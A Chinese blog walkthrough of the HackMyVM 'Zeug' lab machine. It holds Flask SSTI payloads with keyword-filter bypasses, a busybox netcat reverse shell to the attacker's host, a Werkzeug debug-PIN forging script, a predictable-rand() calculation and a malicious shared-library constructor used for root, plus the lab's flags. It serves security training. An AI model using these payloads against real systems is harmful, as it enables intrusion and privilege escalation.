HackMyVM-Zeug-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.147 08:00:27:36:01:d3 PCS Systemtechnik GmbH
192.168.60.254 00:50:56:ed:2f:2b VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.113 seconds (121.15 hosts/sec). 4 responded
export ip=192.168.60.147
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.147:21
Open 192.168.60.147:5000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-21 22:08 CST
Initiating ARP Ping Scan at 22:08
Scanning 192.168.60.147 [1 port]
Completed ARP Ping Scan at 22:08, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:08
Completed Parallel DNS resolution of 1 host. at 22:08, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:08
Scanning 192.168.60.147 [2 ports]
Discovered open port 21/tcp on 192.168.60.147
Discovered open port 5000/tcp on 192.168.60.147
Completed SYN Stealth Scan at 22:08, 0.04s elapsed (2 total ports)
Nmap scan report for 192.168.60.147
Host is up, received arp-response (0.00047s latency).
Scanned at 2025-04-21 22:08:24 CST for 0s

PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
5000/tcp open upnp syn-ack ttl 64
MAC Address: 08:00:27:36:01:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

没有开放常规的80端口,倒是开放了5000端口

利用nc连接一下,发现存在web服务

尝试目录枚举,结果扫不动一点,实在是太慢了,猜测可能不是由nginx起的服务

探测一下网站指纹

发现利用python开放的Flask框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
❯ whatweb -v $ip:5000
WhatWeb report for http://192.168.60.147:5000
Status : 200 OK
Title : Zeug
IP : 192.168.60.147
Country : RESERVED, ZZ

Summary : HTML5, HTTPServer[Werkzeug/3.0.1 Python/3.11.2], Python[3.11.2], Werkzeug[3.0.1]

Detected Plugins:
[ HTML5 ]
HTML version 5, detected by the doctype declaration


[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.

String : Werkzeug/3.0.1 Python/3.11.2 (from server string)

[ Python ]
Python is a programming language that lets you work more
quickly and integrate your systems more effectively. You
can learn to use Python and see almost immediate gains in
productivity and lower maintenance costs.

Version : 3.11.2
Website : http://www.python.org/

[ Werkzeug ]
Werkzeug is a WSGI utility library for Python.

Version : 3.0.1
Website : http://werkzeug.pocoo.org/

HTTP Headers:
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.2
Date: Mon, 21 Apr 2025 14:14:14 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 549
Connection: close

Method-2:SSTI服务器模板注入

首页存在文件上传功能,并且只允许上传html htm后缀的文件

image

我尝试上传反弹shell的html文件,得知存在内容检测

image

从报错信息中也能得知此服务文件的绝对路径

/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py

经过测试可以得知存在SSTI模板注入漏洞

image

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

利用此payload可以读文件

得到用户cosette exia

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
cosette:x:1001:1001::/home/cosette:/bin/bash
exia:x:1002:1002::/home/exia:/bin/bash
ftp:x:103:112:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

并且还可以执行命令

不过由于存在关键字检测,所以需要进行绕过,拼接一下命令

{{ lipsum.__globals__.__builtins__.eval('__impo' + 'rt__("o"+"s").po' + 'pen("id").read()') }}

image

所以可以直接弹shell回来

{{ lipsum.__globals__.__builtins__.eval('__impo' + 'rt__("o"+"s").po' + 'pen("busybox nc 192.168.60.100 1234 -e /bin/bash").read()') }}

监听一下端口

1
2
3
4
5
6
7
8
9
10
11
12
❯ penelope.py 1234
[+] Listening for reverse shells on 0.0.0.0:1234 → 127.0.0.1 • 192.168.60.100
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from zeug-192.168.60.147-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /home/cosette/zeug/venv/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/zeug~192.168.60.147_Linux_x86_64/2025_04_21-22_52_19-947.log 📜
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
cosette@zeug:~/zeug$ id
uid=1001(cosette) gid=1001(cosette) groups=1001(cosette)
cosette@zeug:~/zeug$

Method-2:Flask Debug Console

除此之外,靶机还开放了21端口

利用anonymous匿名用户登录一下ftp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
❯ ftp anonymous@$ip
Connected to 192.168.60.147.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||8873|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 109 Jan 06 2024 README.txt
226 Directory send OK.
ftp> get README.txt
local: README.txt remote: README.txt
229 Entering Extended Passive Mode (|||57703|)
150 Opening BINARY mode data connection for README.txt (109 bytes).
100% |*****************************| 109 85.49 KiB/s 00:00 ETA
226 Transfer complete.
109 bytes received in 00:00 (46.44 KiB/s)
ftp> exit
221 Goodbye.
cat README.txt
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.
嗨,Cosette,请不要忘记在 Web 应用程序中禁用调试模式,我们不希望发生安全漏洞。

README.txt中可以猜测Flask服务是开启了Debug功能的

所以可以尝试访问一下/console

需要输入pin

image

参考以下链接

Werkzeug / Flask Debug - HackTricks

wdahlenburg/werkzeug-debug-console-bypass: Werkzeug has a debug console that requires a pin. It’s possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector.

需要利用SSTI漏洞依次读取所需的信息

1
2
3
4
5
6
7
8
9
10
11
#{{ lipsum.__globals__.__builtins__.eval('__impo' + 'rt__("o"+"s").po' + 'pen("cat /sys/class/net/enp0s3/address").read()') }}
#网卡MAC地址
08:00:27:36:01:d3
#{{ lipsum.__globals__.__builtins__.eval('__impo' + 'rt__("o"+"s").po' + 'pen("cat /etc/machine-id").read()') }}
#/etc/machine-id机器id
48329e233f524ec291cce7479927890b
#{{ lipsum.__globals__.__builtins__.eval('__impo' + 'rt__("o"+"s").po' + 'pen("cat /proc/sys/kernel/random/boot_id").read()') }}
#boot_id
3efa7060-d988-437c-8cbb-d4f38c07a5a2
#{{ lipsum.__globals__.__builtins__.eval('__impo' + 'rt__("o"+"s").po' + 'pen("cat /proc/self/cgroup").read()') }}
0::/system.slice/zeug-app.service

MAC地址转为十进制

1
2
❯ python3 -c "print(int('08:00:27:36:01:d3'.replace(':',''),16))"
8796750873043

利用以下脚本得出机器id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cat exp.py
machine_id = b""
for filename in "machine-id", "boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
machine_id += value
break
try:
with open("cgroup", "rb") as f:
machine_id += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

print(machine_id)
echo "3efa7060-d988-437c-8cbb-d4f38c07a5a2"|tee boot_id
3efa7060-d988-437c-8cbb-d4f38c07a5a2
echo "48329e233f524ec291cce7479927890b"|tee machine-id
48329e233f524ec291cce7479927890b
echo "0::/system.slice/zeug-app.service"|tee cgroup
0::/system.slice/zeug-app.service
❯ python exp.py
b'48329e233f524ec291cce7479927890bzeug-app.service'

利用脚本进行推算得出pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain

probably_public_bits = [
'cosette',
'flask.app',
'Flask',
'/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py'
]

private_bits = [
'8796750873043',
'48329e233f524ec291cce7479927890bzeug-app.service'
]

h = hashlib.sha1() # or hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

在我环境下有问题,pin码一直不正确😫

用户提权

用户cosette拥有sudo权限

1
2
3
4
5
6
7
8
cosette@zeug:~/zeug$ sudo -l
Matching Defaults entries for cosette on zeug:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User cosette may run the following commands on zeug:
(exia) NOPASSWD: /home/exia/seed

可以执行exia用户家目录下的seed

不过我们没有权限访问

1
2
3
4
5
6
cosette@zeug:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jan 6 2024 .
drwxr-xr-x 18 root root 4096 Jan 6 2024 ..
drwx------ 4 cosette cosette 4096 Jan 7 2024 cosette
drwx------ 3 exia exia 4096 Jan 6 2024 exia

伪随机数攻击

好在cosette家目录下存在一个备份文件

好像是个猜数字的小游戏

1
2
3
4
5
6
7
8
9
10
11
12
cosette@zeug:~$ ./seed_bak
********************************************
* Hi, Cosette, it's time to plant the seed *
********************************************
Enter a number: aaa
Wrong.
cosette@zeug:~$ ./seed_bak
********************************************
* Hi, Cosette, it's time to plant the seed *
********************************************
Enter a number: 123
Wrong.

将程序下载到本地

利用IDA Pro反编译一下

得知是基于伪随机数和异或的简单验证逻辑image

  • int v4; // 用户输入

  • int v5; // rand() 生成的随机数

  • int v6; // 固定值 -559038737(16进制为 0xDEADBEEF)

  • unsigned __int64 v7; // 栈保护 canary

  • 固定种子初始化随机数生成器。

    所以 v5 的值是固定的,你只要知道 rand()srand(1) 情况下第一次返回的值是多少,就知道 v5

    • 注意:这个值在标准 C 库中是可预测的(比如 rand() 第一次返回 1804289383

利用python写个计算脚本

1
2
3
4
v5 = 1804289383        # rand() with seed 1
v6 = -559038737 & 0xFFFFFFFF # 转成 unsigned int 等效值
v4 = v5 ^ v6
print(v4) # 输出你应该输入的值

执行以下得到计算结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ python3 abc.py
3039230856
#靶机中执行
cosette@zeug:~$ sudo -u exia /home/exia/seed
********************************************
* Hi, Cosette, it's time to plant the seed *
********************************************
Enter a number: 3039230856
exia@zeug:/home/cosette$ cd ~
exia@zeug:~$ ls -al
total 44
drwx------ 3 exia exia 4096 Jan 6 2024 .
drwxr-xr-x 4 root root 4096 Jan 6 2024 ..
lrwxrwxrwx 1 exia exia 9 Jan 6 2024 .bash_history -> /dev/null
-rwx------ 1 exia exia 220 Apr 23 2023 .bash_logout
-rwx------ 1 exia exia 3526 Apr 23 2023 .bashrc
drwx------ 3 exia exia 4096 Jan 6 2024 .local
-rwx------ 1 exia exia 807 Apr 23 2023 .profile
-rwx------ 1 exia exia 15744 Jan 6 2024 seed
-rwx------ 1 exia exia 38 Jan 6 2024 user.txt
exia@zeug:~$ cat user.txt
HMYVM{exia_1XZ2GUy6gwSRwXwFUKEkZC6cT}

Root提权

同时exia用户也具有sudo权限

1
2
3
4
5
6
7
8
exia@zeug:~$ sudo -l
Matching Defaults entries for exia on zeug:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User exia may run the following commands on zeug:
(root) NOPASSWD: /usr/bin/zeug

链接库劫持

我们利用strings分析一下程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
exia@zeug:~$ strings /usr/bin/zeug
/lib64/ld-linux-x86-64.so.2
__libc_start_main
stderr
dlopen
__cxa_finalize
fwrite
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/home/exia/exia.so
Error opening file
;*3$"
GCC: (Debian 12.2.0-14) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
zeug.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
_edata
_fini
__data_start
dlopen@GLIBC_2.34
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
fwrite@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
stderr@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

发现有个库文件很可疑/home/exia/exia.so

猜测可能会运行程序的时候可能会调用此库文件

所以可以尝试编译恶意的库文件

1
2
3
4
5
6
7
// exia.c
#include <stdlib.h>
__attribute__((constructor)) void boom() {
setuid(0);
setgid(0);
system("/bin/bash");
}

出现warning没关系,只是警告信息

1
2
3
4
5
6
7
8
9
exia@zeug:~$ vi exia.c
exia@zeug:~$ gcc -shared -fPIC exia.c -o exia.so
exia.c: In function ‘boom’:
exia.c:4:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
4 | setuid(0);
| ^~~~~~
exia.c:5:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
5 | setgid(0);
| ^~~~~~

尝试提权

1
2
3
4
5
exia@zeug:~$ sudo /usr/bin/zeug
root@zeug:/home/exia# id
uid=0(root) gid=0(root) groups=0(root)
root@zeug:/home/exia# cat /root/root.txt
HMYVM{root_Ut9RX5o7iZVKXjrOgcGW3fxBq}
总字数 546.8k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务